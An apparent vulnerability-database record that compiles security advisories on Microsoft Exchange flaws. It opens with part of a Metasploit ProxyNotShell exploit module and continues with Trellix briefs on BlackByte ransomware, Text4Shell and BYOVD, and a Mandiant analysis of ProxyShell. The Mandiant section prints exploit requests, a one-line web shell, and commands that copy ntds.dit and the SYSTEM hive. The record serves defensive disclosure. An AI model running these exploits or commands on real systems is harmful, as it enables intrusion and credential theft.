xmlns:System=\"clr-namespace:System;assembly=mscorlib\"\n xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\">\n <ObjectDataProvider x:Key=\"LaunchCalch\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\">\n <ObjectDataProvider.MethodParameters>\n <System:String>cmd.exe</System:String>\n <System:String>/c #{cmd.encode(xml: :text)}</System:String>\n </ObjectDataProvider.MethodParameters>\n </ObjectDataProvider>\n </ResourceDictionary>\n XAML\n\n identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root\n <Obj N=\"V\" RefId=\"14\">\n <TN RefId=\"1\">\n <T>System.ServiceProcess.ServiceController</T>\n <T>System.Object</T>\n </TN>\n <ToString>Object</ToString>\n <Props>\n <S N=\"Name\">Type</S>\n <Obj N=\"TargetTypeForDeserialization\">\n <TN RefId=\"1\">\n <T>System.Exception</T>\n <T>System.Object</T>\n </TN>\n <MS>\n <BA N=\"SerializationData\">\n #{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)}\n </BA>\n </MS>\n </Obj>\n </Props>\n <S>\n <![CDATA[#{xaml}]]>\n </S>\n </Obj>\n IDENTITY\n\n execute_powershell('Get-Mailbox', args: [\n { name: '-Identity', value: identity }\n ])\n end\nend\n\nclass XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream\n include Msf::Util::DotNetDeserialization\n\n def self.generate\n from_values([\n Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),\n Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(\n class_info: Types::General::ClassInfo.new(\n obj_id: 1,\n name: 'System.UnitySerializationHolder',\n member_names: %w[Data UnityType AssemblyName]\n ),\n member_type_info: Types::General::MemberTypeInfo.new(\n binary_type_enums: %i[String Primitive String],\n additional_infos: [ 8 ]\n ),\n member_values: [\n Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(\n obj_id: 2,\n string: 'System.Windows.Markup.XamlReader'\n )),\n 4,\n Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(\n obj_id: 3,\n string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'\n ))\n ]\n ),\n Types::RecordValues::MessageEnd.new\n ])\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_proxynotshell_rce.rb", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "trellix": [{"lastseen": "2022-02-28T00:00:00", "description": "\n\n# Trellix Global Defenders: Analysis and Protections for BlackByte Ransomware\n\nBy Taylor Mullins \u00b7 February 28, 2022\n\nBlackByte Ransomware has been in the news of late due to a successful attack against a National Football League (NFL) Franchise and a Joint Cybersecurity Advisory by the Federal Bureau of Investigation (FBI) and the U.S. Secret Service (USSS) warning on breaches to the networks of at least three organizations from US critical infrastructure sectors in the last three months. BlackByte Ransomware is currently being offered to threat actors as a Ransomware-as-a-Service (RaaS) and makes use of PowerShell and Windows CLI commands to carry out various tasks such as network discovery, task scheduling and to create and disable Windows and security services.\n\nBlackByte Ransomware makes files inaccessible by encrypting them and generates a ransom note (the \"BlackByte_restoremyfiles.hta\" file) that contains instructions on how to contact the attackers for data decryption and other details. Also, BlackByte appends the \".blackbyte\" extension to the names of encrypted files. BlackByte does have worming capabilities and can infect additional endpoints on the same network.\n\n **Figure 1. MITRE ATT&CK Framework for BlackByte Ransomware**\n\n## Recommended Steps to Prevent Initial Access \n\nThe Joint Cybersecurity Advisory provides several recommendations to secure your environment against BlackByte that were gathered from their analysis of malware samples discovered in the wild.\n\n * BlackByte operators have been observed exploiting the following CVEs to gain initial access, patching is recommended to prevent exploitation.\n * [CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability\n * [CVE-2021-34523](<https://vulners.com/cve/CVE-2021-34523>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability\n * [CVE-2021-31207](<https://vulners.com/cve/CVE-2021-31207>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability\n * Blocking IP Addresses known to download additional payloads in BlackByte attacks prior to encryption: **185.93.6.31** and **45.9.148.114.**\n * Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs for any unusual activity.\n * After gaining access to the service accounts some adversaries have utilized AnyDesk for lateral movement, monitoring for AnyDesk activity can be an early indicator of compromise if AnyDesk is not utilized or allowed by your organization.\n * Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.\n * Disable hyperlinks in received emails.\n\n[Joint Cybersecurity Advisory: Indicators of Compromise Associated with BlackByte Ransomware](<https://www.ic3.gov/Media/News/2022/220211.pdf>)\n\n## Trellix Protections and Global Detections\n\nTrellix Global Threat Intelligence is currently detecting all known analyzed indicators for this campaign.\n\n **Figure 2. Trellix Products detecting this threat globally. Source: MVISION Insights**\n\n## Blocking BlackByte Attacks with Endpoint Security\n\nTrellix ENS is currently detecting BlackByte Indicators of Compromise (IOCs) from the standpoint of signature detections and the malware behavior associated with BlackByte Ransomware attacks. The following Exploit Prevention Rule in ENS has shown success in stopping BlackByte samples due to BlackByte being Script-based. Trellix always recommends testing in Report Only Mode before blocking to confirm no false positives are being detected by this signature rule.\n\n### Exploit Prevention Signature ID 6207: ASR : File Download attempt by Scripts\n\n **Figure 3. Exploit Prevention Rule in ePolicy Orchestrator/MVISION ePO**  **Figure 4. MVISION EDR noting where Endpoint Protection (ENS) could have stopped specific techniques**  **Figure 5. Ransomware Detection Name and Observed Detections noted in MVISION Insights**\n\n## BlackByte Threat Intelligence from the Trellix Advanced Threat Research Team and MVISION Insights\n\nMVISION Insights will provide the current threat intelligence and known indicators for BlackByte Ransomware. MVISION Insights will alert to detections and Process Traces that have been observed and systems that require additional attention to prevent widespread infection. MVISION Insights will also include Hunting Rules for threat hunting and further intelligence gathering of the threat activity and adversary.\n\n### MVISION Insights Campaign Names: Cybersecurity Advisory - BlackByte Ransomware and JavaScript Malware Threat Landscape\n\n **Figure 6. Campaign Details, Analyzed Indicators of Compromise, and Detections**  **Figure 7. Hunting Rules for BlackByte Ransomware in MVISION Insights**\n\n## Detecting Malicious Activity with MVISION EDR\n\nMVISION EDR is currently monitoring for the activity associated with BlackByte Ransomware and will note the MITRE techniques and any suspicious indicators related to the adversarial activity. Several of the techniques outlined in the Joint Advisory that are observed with BlackByte are noted below, monitoring for this type of activity can point to activity associated with the Tactics, techniques, and procedures (TTPs) for BlackByte.\n\n **Figure 8. Network Connection to Known Malicious IP Address Associated with BlackByte**  **Figure 9. Enabling of remote registry for possible preparation of Lateral Movement**  **Figure 10. Deletion of Shadow Copy to inhibit system recovery**\n\nTrellix offers Threat Intelligence Briefings along with Cloud Security and Data Protection workshops to provide customers with best practice recommendations on how to utilize their existing security controls to protect against adversarial and insider threats, please reach out if you would like to schedule a workshop with your organization.\n", "cvss3": {}, "published": "2022-02-28T00:00:00", "type": "trellix", "title": "Trellix Global Defenders: Analysis and Protections for BlackByte Ransomware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-02-28T00:00:00", "id": "TRELLIX:21227249912602DD6E11D3B19898A7FF", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/trellix-global-defenders-analysis-and-protections-for-blackbyte-ransomware.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-11-02T00:00:00", "description": "# The Bug Report \u2014 October 2022 Edition\n\nBy Trellix \u00b7 November 2, 2022 \nThis story was written by Richard Johnson.\n\n Do ROP exploits count as jmp scares? \n\n\n## Why am I here?\n\nWelcome back to the Bug Report: Spooky Edition, and we\u2019ve got bugs crawling out of the walls! Of all the months we do this, we\u2019ve found that critical CVEs feel most at home in October \u2013 the month heralding All Hallows\u2019 Eve. They\u2019re terrifying, bring promises of late nights, and they might even have your analysts looking like zombies by the end. Be sure to give those poor souls the full-sized candy bars \u2013 they\u2019ve earned it.\n\nFor those in the audience unfamiliar with our shtick, every month we compile a shortlist of the top vulnerabilities of the month, so that they might whittle away at your last few hours of peaceful sleep.\n\nAppropriately, this month is rich with [Spooky Scary Shelletons](<https://www.youtube.com/watch?v=sVjk5nrb_lI>):\n\n * CVE-2022-41040 + CVE-2022-41082 aka \"ProxyNotShell\": Microsoft Exchange\n * CVE-2022-42889 aka \"Text4Shell\": Apache Commons Text\n * Bring Your Own Vulnerable Driver (BYOVD) Mitigations Flaw: Windows\n \n\n\n## CVE-2022-41040, CVE-2022-41082: Exchanging tricks for treats\n\n### What is it?\n\nLike candy corn nobody wants, Microsoft Exchange vulnerabilities continue to be tossed in our direction. This month we continue the year-long saga of ProxyLogon, ProxyOracle, and ProxyShell vulnerabilities that have plagued enterprise mail servers and add an additional two CVEs to the growing list. These bug variations are all based around an architectural flaw in Exchange which is basically built-in server-side request forgery (SSRF) by design. Not a good look but everyone is putting on a disguise this month, aren\u2019t they?\n\n Might need to go a ProxyDiet after this one \n\n\n[CVE-2022-41040](<https://vulners.com/cve/CVE-2022-41040>) and [CVE-2022-41082](<https://vulners.com/cve/CVE-2022-41082>) were [detected in the wild](<https://www.gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html>) as zero-day exploitation by GTSC Cyber Security on September 29 and are now referred to collectively as ProxyNotShell. This combination of vulnerabilities results in remote code execution (RCE) similar to ProxyShell; however, it requires authentication to the Exchange mail server, access to the Outlook Web Access server application, and for the server to have Exchange PowerShell available, which has reduced the overall impact of these vulnerabilities. Despite these bugs being privately reported to [ZDI](<https://www.zerodayinitiative.com/>) back in August, Microsoft has not patched them as of this writing.\n\nOne element of these attacks is that Exchange must impersonate authentication tokens to access resources on behalf of the connected user. The attacks seen up until this point focus on using user authentication, either by forcing the system account to impersonate the user or requiring an authenticated user in the case of ProxyNotShell.\n\n### Who cares?\n\nAny enterprise network deploying Microsoft Exchange should be paying close attention to this series of vulnerabilities. There is active in-the-wild exploitation now just as we have seen in the past for the previous variants. For these unpatched vulnerabilities see the mitigation guidance below.\n\nWhile talking about ProxyNotShell, I would also like to highlight a related collection of bugs now referred to as ProxyRelay (CVE-2021-33768, CVE-2022-21979, and CVE-2021-26414), which were patched slowly and incrementally over the past year and only discussed in detail this month. This was a collection of three CVEs so far, and according to a [blog post](<https://blog.orange.tw/2022/10/proxyrelay-a-new-attack-surface-on-ms-exchange-part-4.html>) by the researcher Orange Tsai who found all of these Exchange vulnerabilities the past year, there is an additional flaw that has yet to be publicly disclosed or fixed by Microsoft. Ongoing exploitation and additional zero-day vulnerabilities in the remediation pipeline mean someone is playing necromancer and controlling a zombie army of mail servers \u2013 that\u2019s taking the theatrics a bit too far if you ask me!\n\nThe fixes for these \u201cExchange Proxy\u201d class of bugs have been partially implemented and bypassed by security researchers or guarded by registry keys and disabled by default for extended periods of time. Microsoft has also shipped these fixes via Content Updates (CU) instead of patches with security bulletins which is unusual and more likely to be missed by system administrators. Environments deploying multiple Exchange servers should be on the lookout for fixes for the currently undisclosed CVE that has been submitted to Microsoft. I hate to say it, but you\u2019re likely going to have to watch these like you\u2019re looking out for Mike Meyers on Halloween night.\n\n### What can I do?\n\nThis section is usually the easiest to write \u2013 the hardest part is trying to come up with a new way of writing \u201cplease patch\u201d for the thousandth time. Not so this time around, as there is (currently) no patch available for these vulnerabilities.\n\nThat being said, Microsoft [has provided guidance](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) for implementing several mitigations, including an IIS URL Rewrite rule as well as disabling remote PowerShell for non-admins. Details of what to do follow the lengthy list of updates in the guidance. Please implement these mitigations, or risk threat actors creepy crawling all over your network!\n\nTo add some treats to this list of tricks, we are happy to report that Trellix customers are already covered through both our Intrusion Prevention System (IPS) and Network Security products. Trellix IPS provides coverage for both vulnerabilities as of release 10.9.37.6 via [attack ID 0x45298B00](<https://kcm.trellix.com/corporate/index?page=content&id=KB96051&actp=null&viewlocale=en_US&showDraft=false&platinum_status=false&locale=en_US>), while those using Trellix Network Security are covered for CVE-2022-41082 via the rule \u201cMicrosoft Exchange Server CVE-2022-41082 Remote Code Execution.\u201d\n\n \n\n\n## CVE-2022-42889: A patch for Apache\u2019s latest Java \u201c4Shell\u201d\n\n### What is it?\n\nSticking with the theme of long series of vulnerabilities with similar branding, we have a new Apache Commons vulnerability going by the name Text4Shell and being tracked as [CVE-2022-42889](<https://vulners.com/cve/CVE-2022-42889>). Text4Shell is another Java deserialization vulnerability that can lead to RCE, this time in the Apache Commons Text library\u2019s string interpolation functions.\n\n It\u2019s like d\u00e9j\u00e0 vu all over again \n\n\nThese functions provide an API for converting strings via \u201cLookup\u201d objects that automatically perform some action on deserialization. Specifically, if the Apache Commons Text [`StringSubstitutor`](<https://web.archive.org/web/20220524230520/https:/commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html>) object is instantiated with default options and used to replace text on a user supplied string, an attacker can leverage the URL, DNS, or SCRIPT property interpolation functionality to execute arbitrary code or leak information about the network.\n\n### Who cares?\n\nJava is one of the [top 3 most used programming languages](<https://octoverse.github.com/>) and Java deserialization has been one of the top bug classes exploited by attackers since it was discovered in the mid-2000s, so it should come as no surprise that this is an area that needs active and continuous monitoring for vulnerabilities. As if Freddy Kreuger is clicking his blades behind the scenes, Java deserialization vulnerabilities are a nightmare we can\u2019t seem to wake up from.\n\n### What can I do?\n\nThis vulnerability [has been patched](<https://blogs.apache.org/security/entry/cve-2022-42889>) in Apache Commons Text version 1.10 which can be retrieved from their [website](<https://commons.apache.org/proper/commons-text/download_text.cgi>). Unlike razor blades in candy bars, this poses a real threat, so get to patching ASAP.\n\nFortunately, this API is not used on the scale of Log4j, with the official [Maven Repository](<https://web.archive.org/web/20221026214218/https:/mvnrepository.com/artifact/org.apache.commons/commons-text>) showing only 2602 projects import Apache Commons Text and the majority of those are not passing unsanitized user-controlled strings to the StringSubstitutor API. That said, businesses that develop Java code should be looking for any use for the Apache Commons Text library versions 1.5 - 1.9 which are known to be vulnerable.\n\nDespite our jokes about late nights, Trellix customers can rest a bit easier, as they are covered via Trellix Network Security rule \u201cApache Commons Text String CVE-2022-42889 RCE.\u201d For those using Trellix IPS, coverage is also available as a User-Defined Signature (UDS) via [attack ID 0x452B8B00](<https://kcm.trellix.com/corporate/index?page=content&id=KB55446>), included as part of the November 1st signature set. No need to go door-to-door knocking for these treats.\n\n \n\n\n## A ghost says BYOVD\n\n You gotta say it with your chest \n\n\n### What is it?\n\nFor our last subject this month, I want to highlight an ongoing discussion between Microsoft and the security research community regarding a broken mitigation that is now being [leveraged by threat actors](<https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/>) such as Lazarus in \u201cbring your own vulnerable driver\u201d attacks. Attackers use this method to pivot to kernel after already gaining local access as a way of avoiding detection and maintaining long term control of the system. This issue came to the forefront via [Twitter discussions](<https://twitter.com/dangoodin001/status/1580988509912936450>) (if such a thing is even possible on Twitter) and a following [Ars Technica article](<https://arstechnica.com/information-technology/2022/10/how-a-microsoft-blunder-opened-millions-of-pcs-to-potent-malware-attacks/>) this month titled \u201cHow a Microsoft blunder opened millions of PCs to potent malware attacks,\u201d which detailed a problem with Microsoft\u2019s advertised security feature that prevents loading of known-vulnerable signed drivers. The problem is that the list of known vulnerable drivers has not been updated since release in 2019 and the existing block list contained as few as two drivers, making for a fairly lonely stage at the security theater.\n\nMeanwhile, Microsoft has asserted this block list would be automatically updated via Windows Update. Without this protection, threat actors have been leveraging outdated vulnerable signed OEM drivers to pivot to the kernel to hide from system monitoring software. In addition to the block list, Windows Defender Attack Surface Reduction (ASR) rule \"Block abuse of exploited vulnerable signed drivers\" is also reported to be ineffective at preventing the installation of these drivers.\n\n### Who cares?\n\nWhile this issue differs from our typical Bug Report entries in that it constitutes a post-exploitation attack, it is nonetheless important to be aware of in an enterprise context where post-exploitation persistence is a real concern and threat actors like Lazarus are known to target. The block list was not previously disclosed, and Attack Surface Reduction based blocking may not be functioning as advertised, so there was a false sense of security around the level of protection being offered. Turns out that coverage was as useful as a shower curtain against a kitchen knife.\n\n### What can I do?\n\nMicrosoft has [updated their documentation](<https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules>) regarding driver block rules. The updates clarify they only intend to ship new rules with major OS updates and not on a continuous basis. They have also said they will ship an updated list to Windows 10 systems soon\u2122. In addition, they have added guidance for enabling driver blocking using Windows Defender Application Control (WDAC) policies which does not require HVCI and may be usable on a wider range of hardware. Administrators can manually download the latest driver block rules and follow Microsoft\u2019s guidance to enable one of the three different methods for blocking drivers. Due to the uncertainty around the functioning of these security controls, I recommend testing your blocking configuration on your network to make sure it works if possible. Fool me once, as they say.\n\n_ This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers. _\n", "cvss3": {}, "published": "2022-11-02T00:00:00", "type": "trellix", "title": "The Bug Report October 2022 Edition", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26414", "CVE-2021-33768", "CVE-2022-21979", "CVE-2022-41040", "CVE-2022-41082", "CVE-2022-42889"], "modified": "2022-11-02T00:00:00", "id": "TRELLIX:2190FF6CC59F0018181B8146CC20B06D", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/the-bug-report-october-2022-edition.html", "cvss": {"score": 0.0, "vector": "NONE"}}], "fireeye": [{"lastseen": "2021-09-07T14:46:37", "description": "In August 2021, Mandiant Managed Defense identified and responded to the exploitation of a chain of vulnerabilities known as ProxyShell.** **The ProxyShell vulnerabilities consist of three CVEs (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) affecting the following versions of on-premises Microsoft Exchange Servers.\n\n * Exchange Server 2013 (Cumulative Update 23 and below)\n * Exchange Server 2016 (Cumulative Update 20 and below)\n * Exchange Server 2019 (Cumulative Update 9 and below)\n\nThe vulnerabilities are being tracked in the following CVEs:\n\n**CVE**\n\n| \n\n**Risk Rating**\n\n| \n\n**Access Vector**\n\n| \n\n**Exploitability**\n\n| \n\n**Ease of Attack**\n\n| \n\n**Mandiant Intel** \n \n---|---|---|---|---|--- \n \nCVE-2021-34473\n\n| \n\nHigh\n\n| \n\nNetwork\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--8e100992-6111-54ed-96b4-f817cf47edd0>) \n \nCVE-2021-34523\n\n| \n\nLow\n\n| \n\nLocal\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--f8db969d-dddf-5b2e-81ce-439289be6cde>) \n \nCVE-2021-31207\n\n| \n\nMedium\n\n| \n\nNetwork\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--5c5c0f7e-96a8-5403-8487-373322342c46>) \n \nTable 1: List of May & July 2021 Microsoft Exchange CVEs and FireEye Intel Summaries\n\n#### Overview\n\nMicrosoft Exchange Server provides email and supporting services for organizations. This solution is used globally, both on-premises and in the cloud. This chain of vulnerabilities exists in unpatched on-premises editions of Microsoft Exchange Server only and is being actively exploited on those servers accessible on the Internet.\n\nMandiant responded to multiple intrusions impacting a wide variety of industries including Education, Government, Business services, and Telecommunications. These organizations are based in the United States, Europe, and Middle East. However, targeting is almost certainly broader than directly observed.\n\nOne specific targeted attack observed by Mandiant, detailed in this post, was against a US-based university where UNC2980 exploited ProxyShell vulnerabilities to gain access to the environment.\n\n#### The Exploit Chain Explained\n\nProxyShell refers to a chain of attacks that exploit three different vulnerabilities affecting on-premises Microsoft Exchange servers to achieve pre-authenticated remote code execution (RCE). The exploitation chain was discovered and [published](<https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell>) by Orange Tsai (@orange_8361) from the DEVCORE Research Team.\n\n##### Delivering the Payload\n\nIn order to later create a web shell on a Microsoft Exchange server by exporting from a mailbox, an attacker first needs to create an email item within a mailbox. In the Metasploit implementation of the attack, the Autodiscover service is abused to leak a known user\u2019s distinguished name (DN), which is an address format used internally within Microsoft Exchange. The Messaging Application Programming Interface (MAPI) is then leveraged to leak the user's security identifier (SID), by passing the previously leaked DN as a request. The SID is then used to forge an access token to communicate with Exchange Web Services (EWS).\n\nWith the attacker able to successfully impersonate the target user with a valid access token, they can perform EWS operations. To continue with the ProxyShell attack, the operation \u2018CreateItem\u2019 is used, which allows the remote creation of email messages in the impersonated user\u2019s mailbox. While responding, Mandiant has seen draft emails with attached web shells, encoded in such a way that they become decoded upon export to PST later in the attack (specifically with permutative encoding).\n\nEmails may also be placed in targeted users' mailboxes via SMTP, as was suggested in Orange Tsai\u2019s documentation of the attack.\n\n##### CVE-2021-34473 \u2014 Pre-auth Path Confusion Leads to ACL Bypass\n\nMicrosoft Exchange has a feature called \u2018Explicit Logon\u2019, which legitimately allows users to open another user's mailbox or calendar in a new browser window by providing the mailbox address in the URL. The feature was designed to only provide access where \u2018Full Access\u2019 is granted to the user, and the target mailbox or calendar is configured to publish. Exchange is designed to normalize the specified mailbox address in the URL to identify the target.\n\nThe vulnerability exists in passing the string Autodiscover/Autodiscover.json to the email field in the URL. By passing that string, Exchange does not perform sufficient checks on the address, and through its normalization process, this leads to arbitrary access to backend URLs as NT AUTHORITY/SYSTEM.\n\nGET /autodiscover/autodiscover.json?@evil.corp/?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nGET /autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nPOST /autodiscover/autodiscover.json?@evil.corp/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nPOST /autodiscover/autodiscover.json?@evil.corp/mapi/emsmdb?&Email=autodiscover/autodiscover.json%3F@evil.corp \n \n--- \n \nFigure 1: Requests showing how an attacker can abuse the normalization process of the Explicit Logon feature\n\n##### CVE-2021-34523 \u2014 Elevation of Privilege on Exchange PowerShell Backend\n\nThe Exchange PowerShell Remoting feature, natively built into Microsoft Exchange, was designed to assist with administrative activities via the command line. The previous exploit allowed an attacker to interface with arbitrary backend URLs as NT AUTHORITY/SYSTEM, however since that user does not have a mailbox, the attacker cannot directly interface with the PowerShell backend (/Powershell) at that privilege level.\n\nThe PowerShell backend checks for the X-CommonAccessToken header in incoming requests. If the header does not exist, another method is used to get a CommonAccessToken. This method checks for the X-Rps-CAT parameter in the incoming request, and if present, deserializes this to a valid CommonAccessToken. With the previously collected information on the target mailbox or default information from built-in mailboxes, passing of a valid X-Rps-CAT value is trivial.\n\nBy passing this value to the PowerShell backend with the previously successful access token, an attacker can downgrade from the NT AUTHORITY/SYSTEM account to the target user. This user must have local administrative privileges in order to execute arbitrary Exchange PowerShell commands.\n\nPOST /autodiscover/autodiscover.json?a=abcde@evil.com/powershell/?X-Rps-CAT=[Base64 encoded data] \n \n--- \n \nFigure 2: This request uses the parameter X-Rps-CAT, which allows valid user impersonation\n\n##### CVE-2021-31207 \u2014 Post-auth Arbitrary-File-Write Leads to RCE\n\nOnce the two previous vulnerabilities are exploited successfully, the vulnerability CVE-2021-31207 allows the attacker to write files. As soon as the attacker is able to execute arbitrary PowerShell commands, and the required \u2018Import Export Mailbox\u2019 role is assigned to the impersonated user (which can be achieved by execution of the New-ManagementRoleAssignment cmdlet), the cmdlet New-MailboxExportRequest can be used to export a user\u2019s mailbox to a specific desired path e.g.\n\nNew-MailBoxExportRequest \u2013 Mailbox john.doe@enterprise.corp -FilePath \\\\\\127.0.0.1\\C$\\path\\to\\webshell.aspx \n \n--- \n \nFigure 3: New-MailBoxExportRequest can be used to export payloads\n\nThe use of New-MailboxExportRequest allows the attacker to export target mailboxes where previously created emails with encoded web shells were created. The attacker can export the mailbox to a PST file format with a web file extension, such as ASPX, which allows the attacker to drop a functional web shell, since the encoded attachments in the email are decoded upon write to the PST file format. This is due to the PST file format using permutative encoding, by attaching a pre-encoded payload, upon export the decoded payload is actually written.\n\n#### Observations From Investigations\n\nMandiant responded to intrusions involving ProxyShell exploitation across a range of customers and industries. Examples of proof-of-concept (PoC) exploits developed and released publicly by security researchers could be leveraged by any threat group, leading to adoption by threat groups with varying levels of sophistication. Mandiant has observed the exploit chain resulting in post-exploitation activities, including the deployment of web shells, backdoors, and tunneling utilities to further compromise victim organizations. As of the release of this blog post, Mandiant tracks eight [UNC groups](<https://www.fireeye.com/blog/products-and-services/2020/12/how-mandiant-tracks-uncategorized-threat-actors.html>) exploiting the ProxyShell vulnerabilities. Mandiant anticipates more clusters will be formed as different threat actors adopt working exploits.\n\n##### Exploitation\n\nMandiant has observed the exploitation of Proxyshell starting with the abuse of Autodiscover services to leak known users distinguished name (DN) to then leverage it to leak the administrator security identifier (SID). \n \nBy using the leaked DN and SID, the attacker can create a mailbox that contains a draft email with a malicious payload as an attachment. Afterwards, the mailbox and the contained payload are exported to a web-accessible directory or another directory on the host.\n\nAttempted exploitation of ProxyShell appears to be mostly automated. In some cases, Mandiant observed only partial attacker success, such as the creation of items in mailboxes remotely, but not the exporting of mailboxes and their contained payloads to another directory on the host.\n\nMandiant has observed a wide range of source IP addresses and user agents attempting HTTP requests consistent with the first stage of the ProxyShell exploit chain.\n\n##### Post-Exploitation\n\nUpon successful exploitation of the vulnerabilities, Mandiant observed multiple payloads to gain a foothold in the network including CHINACHOP and BLUEBEAM web shells (see Malware Definitions section). Follow-on actions include execution of internal reconnaissance commands on servers, and deployment of tunneler utilities.\n\n \nFigure 4: BLUEBEAM ASP web shell that was embedded into a PST payload\n\n#### Threat Actor Spotlight: UNC2980\n\nIn August 2021, Mandiant Managed Defense responded to an intrusion leveraging the ProxyShell vulnerability at a US-based university. Mandiant tracks this threat actor as UNC2980.\n\nUNC2980 is a cluster of threat activity tracked since August 2021 and believed to be conducting cyber espionage operations. Mandiant suspects this group to be operating from China currently assessed at low confidence. UNC2980 has been observed exploiting CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, publicly referred to as \"ProxyShell\", to upload web shells for initial access. The group relies on multiple publicly available tools including EARTHWORM, HTRAN, MIMIKATZ, and WMIEXEC post compromise.\n\n#### UNC2980 in Action\n\nUpon gaining access through the exploitation of ProxyShell and deploying a web shell, UNC2980 dropped multiple tools into the victim environment. The following publicly available tools were observed on the initial compromised host: HTRAN, EARTHWORM, and several MIMIKATZ variants.\n\n<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script> \n \n--- \n \nFigure 5: Web shell embedded in PST payload used by UNC2980\n\nApproximately 11 hours and 44 minutes after the ProxyShell exploitation, Mandiant observed post-exploitation activity beginning with multiple Event ID 4648 (A logon was attempted using explicit credentials) events initiated by the process C:\\root\\mimikatz.exe on the initial compromised host. All Event ID 4648 events were associated with two different domain controllers within the environment.\n\nThe group then utilized the utility WMIEXEC to conduct post-exploitation activity. This was primarily observed through the default redirection of command output used by WMIEXEC.\n\ncmd.exe /c whoami > C:\\wmi.dll 2>&1\n\ncmd.exe /c quser > C:\\wmi.dll 2>&1\n\ncmd.exe /c net localgroup administrators > C:\\wmi.dll 2>&1 \n \n--- \n \nFigure 6: Reconnaissance commands executed via WMICEXEC\n\nUNC2980 was observed utilizing several techniques for credential theft once access to a host was established. In one instance, after performing reconnaissance, UNC2980 deployed multiple variants of MIMIKATZ. In another instance, UNC2980 utilized multiple batch files which executed ntdsutil to enumerate snapshots of volumes and were then used to copy ntds.dit and the System hive.\n\nntdsutil snapshot \"List All\" quit quit >>c:\\temp\\1.txt\n\nntdsutil snapshot \"unmount {[GUID]}\" quit quit\n\nnet localgroup administrators\n\nntdsutil snapshot \"activate instance ntds\" create quit quit\n\nntdsutil snapshot \"delete {[GUID] }\" quit quit\n\nntdsutil snapshot \"mount {[GUID]}\" quit quit\n\ncopy c:\\$SNAP_[date]_VOLUMEC$\\windows\\ntds\\ntds.dit c:\\temp\\ntds.dit\n\nreg save hklm\\system c:\\temp\\s.hive \n \n--- \n \nFigure 7: Executed Batch commands\n\n#### Monitoring and Investigating\n\nMandiant recommends monitoring or investigating for compromise on presently or previously vulnerable Exchange servers.\n\n##### Remote Creation of Items in Mailboxes\n\n * Monitor or investigate irregular Exchange EWS logs to identify CreateItem requests, indicating the remote creation of items.\n * Mandiant has observed draft emails created, containing attached encoded web shells, though other items may also be created.\n * Examine logs under \u2018Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\Ews\\\\*\u2019 where:\n * AuthenticatedUser is SYSTEM or a system account\n * SoapAction is CreateItem\n * HttpStatus is 200 (indicating success)\n * Monitor or identify draft emails with encoded attachments.\n * Mandiant has observed draft emails containing .TXT file attachments with encoded content.\n\n##### Remote Unauthenticated PowerShell\n\n * Monitor IIS logs for successful POST requests containing \"/autodiscover/autodiscover.json\" & \"Powershell\".\n * Monitor or investigate the execution of the PowerShell cmdlets \u2018New-ManagementRoleAssignment\u2019 or \u2018New-MailboxExportRequest\u2019.\n * Mandiant has observed \u2018New-ManagementRoleAssignment\u2019 being used to assign mailbox import and export permissions to target mailboxes, followed by \u2018New-MailboxExportRequest\u2019 to export the drafts folder containing emails with encoded web shells attached.\n * Examine PowerShell ScriptBlock, transcription, and module logging where enabled.\n * Examine logs under \u2018Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\CmdletInfra\\Powershell-Proxy\\Cmdlet\\\\*\u2019, especially the cmdlet parameters where:\n * AuthenticatedUser is the name of impersonated mailbox user\n * ProcessName contains 